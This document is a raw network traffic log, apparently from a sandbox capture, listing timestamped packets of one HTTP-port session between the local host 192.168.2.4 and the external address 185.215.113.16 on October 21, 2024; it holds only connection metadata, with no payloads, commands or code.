Oct 21, 2024 10:47:09.659290075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659344912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659353971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659375906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659392118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659447908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.659517050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659542084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659554958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659567118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659578085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659691095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659702063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659713984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659730911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659742117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659759045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659800053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659810066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659820080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659827948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.659832954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659893990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.659904003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660011053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660098076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660115957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660126925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660136938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660147905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660193920 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660458088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660468102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660482883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660496950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660511971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660531044 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660553932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660564899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660574913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660588026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660597086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660608053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660614967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660628080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660635948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660645962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660656929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660667896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660677910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660691977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660866976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660887957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.660891056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660903931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660913944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660947084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660957098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.660969019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661010027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661042929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661056995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661113024 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661119938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661129951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661139965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661151886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661166906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661192894 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661308050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661319017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661329985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661334991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661345959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661350965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661355972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661362886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661369085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661566973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661577940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661588907 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661598921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661659956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661670923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661731958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661756992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.661828995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661848068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661859989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661870956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661881924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661887884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661894083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661897898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661904097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661910057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661962986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661977053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661983013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.661989927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.662280083 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.662353992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.662431002 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.662679911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.662714005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.662724972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.662734985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.662741899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.662776947 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.663028955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.663285017 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.902683020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.902697086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.905419111 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967240095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967251062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967262030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967272043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967284918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967294931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967307091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967408895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967427969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967441082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967451096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967462063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967473984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967484951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967494965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967506886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967516899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967528105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967577934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967588902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967598915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967609882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967621088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967633963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967710018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967720985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967735052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967751026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967761993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967771053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967782021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967786074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967801094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967822075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967824936 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967843056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967854023 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967854977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967866898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967875004 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967879057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967890024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967897892 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967901945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967912912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967924118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967935085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967936039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967952013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.967959881 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.967978001 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968003988 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968105078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968195915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968206882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968216896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968234062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968245029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968254089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968265057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968276024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968286037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968296051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968301058 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968312025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968329906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968334913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968343973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968353033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968357086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968369007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968379021 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968379021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968391895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968398094 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968405008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968415976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968424082 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968441963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968453884 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968496084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968507051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968516111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968527079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968547106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968563080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968574047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968584061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968594074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968604088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968616009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968633890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968647003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968655109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968667030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968678951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968692064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968703032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968709946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968714952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968727112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968744993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968767881 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968771935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968781948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968791008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968802929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968813896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968826056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968837976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968873978 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968890905 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.968934059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968945980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968955040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968966961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968981981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.968986034 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969000101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969012022 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969012976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969026089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969033003 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969046116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969054937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969063997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969075918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969078064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969094038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969105959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969105959 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969115973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969124079 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969127893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969137907 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969151020 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969157934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969170094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969182014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969182014 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969192028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969202042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969202995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969217062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969232082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969237089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969252110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969263077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969266891 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969274998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969285011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969286919 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969296932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969305992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969317913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969327927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969335079 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969340086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969351053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969361067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969366074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969387054 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969405890 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969439030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969449997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969455957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969554901 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969566107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969574928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969578028 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969587088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969598055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969607115 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969619036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969638109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969640017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969650984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969657898 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969660997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969674110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969685078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969696045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969707012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969708920 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969718933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969733000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969754934 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969780922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969790936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969808102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969818115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969827890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969837904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969845057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969866037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969880104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.969965935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969976902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969985962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.969996929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970016003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970016956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970026016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970036030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970046043 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970048904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970065117 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970068932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970082998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970093966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970098019 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970107079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970113039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970119953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970138073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970144033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970148087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970161915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970172882 CEST	49855	80	192.168.2.4	185.215.113.16
